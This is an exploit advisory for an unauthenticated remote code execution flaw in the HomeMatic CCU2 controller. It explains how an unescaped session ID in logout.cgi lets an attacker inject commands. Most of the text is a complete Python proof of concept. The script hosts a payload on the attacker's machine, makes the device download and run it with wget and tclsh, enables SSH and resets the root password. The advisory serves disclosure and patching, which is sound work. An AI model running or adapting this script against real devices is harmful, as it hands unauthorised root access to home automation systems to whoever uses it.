HomeMatic Zentrale CCU2 – Remote Code Execution
# Exploit Title: HomeMatic Zentrale CCU2 Unauthenticated RCE # Date: 16-07-2018 # Software Link: https://www.homematic.com/ # Exploit Author: Kacper Szurek - ESET # Contact: https://twitter.com/KacperSzurek # Website: https://security.szurek.pl/ # YouTube: https://www.youtube.com/c/KacperSzurek # Category: remote 1. Description File: /root/www/api/backup/logout.cgi ``` proc main { } { set sid [getQueryArg sid] if [catch { session_logout $sid}] { error LOGOUT } puts "Content-Type: text/plain" puts "" puts "OK" } ``` `$sid` value is passed directly to `session_logout` function. File: /root/www/tcl/eq3/session.tcl ``` proc session_logout { sid } { rega_exec "system.ClearSessionID(\"$sid\");" } ``` `$sid` value is not escaped properly. We can close current rega script using `");` and execute our payload. 2. Proof of Concept POC in Python which enable ssh access and change root password without any credentials. ``` from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import time import urllib2 import threading import sys import os import signal print "HomeMatic Zentrale CCU2 Unauthenticated RCE" print "Unauthenticated Remote Code Execution" print "by Kacper Szurek - ESET" print "https://security.szurek.pl/" print "https://twitter.com/KacperSzurek" print "https://www.youtube.com/c/KacperSzurek\n" def signal_handler(a, b): print "[+] Exit" os._exit(0) signal.signal(signal.SIGINT, signal_handler) if len(sys.argv) != 4: print "Usage: exploit <your_ip> <homematic_ip> <new_password>" os._exit(0) our_ip = sys.argv[1] homematic_ip = sys.argv[2] new_password = sys.argv[3] tcl_file = """ #!/bin/tclsh source /www/api/eq3/jsonrpc.tcl source /www/api/eq3/json.tcl set args(passwd) "{}" set args(mode) "true" source /www/api/methods/ccu/setssh.tcl source /www/api/methods/ccu/setsshpassword.tcl source /www/api/methods/ccu/restartsshdaemon.tcl """.format(new_password) class StoreHandler(BaseHTTPRequestHandler): def do_GET(self): print self.path if self.path == '/exploit': self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(tcl_file) def server(): try: server = HTTPServer((our_ip, 1234), StoreHandler) server.serve_forever() except Exception, e: print "[-] Cannot start web server: {}".format(e) os._exit(0) def send_payload(payload): return urllib2.urlopen('http://{}/api/backup/logout.cgi?sid=aa");system.Exec("{}");system.ClearSessionID("bb'.format(homematic_ip, payload)).read() try: version = urllib2.urlopen('http://{}/api/backup/version.cgi'.format(homematic_ip), timeout=6).read() except: version = "" if not version.startswith('VERSION='): print "[-] Probably not HomeMatic IP: {}".format(homematic_ip) os._exit(0) if "'" in new_password or '"' in new_password: print "[-] Forbidden characters in password" os._exit(0) print "[+] Start web server" t = threading.Thread(target=server) t.daemon = True t.start() time.sleep(2) print "[+] Download exploit" send_payload('wget+-O+/tmp/exploit+http://{}:1234/exploit&&chmod+%2bx+/tmp/exploit'.format(our_ip)) print "[+] Set chmod +x" send_payload('chmod+%2bx+/tmp/exploit') print "[+] Execute exploit" send_payload('/bin/tclsh+/tmp/exploit') print "[+] Success, now you can ssh as root:" print "ssh root@{}".format(homematic_ip) print "Password: {}".format(new_password) os._exit(0) ``` 3. Solution: Update to version 2.35.16 |